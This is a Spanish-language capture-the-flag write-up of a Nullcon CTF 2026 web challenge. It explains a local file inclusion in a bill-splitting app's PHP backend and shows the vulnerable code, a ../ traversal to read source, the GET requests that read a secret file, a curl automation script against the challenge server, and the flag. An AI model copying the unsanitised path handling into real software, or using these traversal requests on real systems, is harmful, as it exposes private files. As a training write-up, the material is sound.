FloatTheory (BillSplitter Lite)
Datos del reto
| Campo | Valor |
|---|---|
| CTF | Nullcon CTF 2026 |
| Reto | FloatTheory (BillSplitter Lite) |
| Categoría | Web |
| Flag | ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd} |
Descripción del reto
El sitio simulaba una aplicación para dividir gastos entre amigos. Toda la historia giraba alrededor de una administrative fee de 0.01, pero la vulnerabilidad estaba en cómo el backend guardaba y mostraba los archivos de cada sesión.
Reconocimiento
La aplicación permitía agregar personas, calcular el total y consultar recibos con el parámetro ?view_receipt=. Había varias pistas.
- El campo de nombre mostraba
Filenamecomo placeholder. - El sitio decía que todo se guardaba en archivos del servidor.
- El balance siempre mostraba
0.01000.
Con eso, view_receipt era el parámetro relevante.
Análisis
El problema real era un LFI. El backend concatenaba directamente el valor de view_receipt a la ruta del directorio del usuario.
$target = $user_dir . $_GET['view_receipt'];
if (file_exists($target)) {
$lfi_content = file_get_contents($target);
}
Con una ruta como ../../index.php se podía leer el código fuente y ver lo siguiente.
- Cada sesión tenía su propio directorio en
/var/www/html/users/{session_id}/. - La flag se guardaba en un archivo
secret_XXXXXXXX. - El nombre exacto de ese archivo quedaba escrito en
.lock. - Los archivos
secret_*no aparecían en la interfaz, pero seguían siendo accesibles porview_receipt.
La explotación relevante estaba en el acceso a archivos.
Resolución
La explotación salía básicamente en dos peticiones.
Primero había que leer .lock para recuperar el nombre del archivo secreto.
GET /?view_receipt=.lock
Eso devolvía algo como esto.
secret_rCAlqyJl
Después había que pedir directamente ese archivo.
GET /?view_receipt=secret_rCAlqyJl
La respuesta incluía tanto el valor 0.01 como la flag.
0.01
ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}
Si se quería automatizar, alcanzaba con algo así.
curl -sc /tmp/c http://52.59.124.14:5069/ -o /dev/null
SECRET=$(curl -sb /tmp/c "http://52.59.124.14:5069/?view_receipt=.lock" | grep -oP 'secret_\w+')
curl -sb /tmp/c "http://52.59.124.14:5069/?view_receipt=$SECRET" | grep -oP 'ENO\{[^}]+\}'
Flag
ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}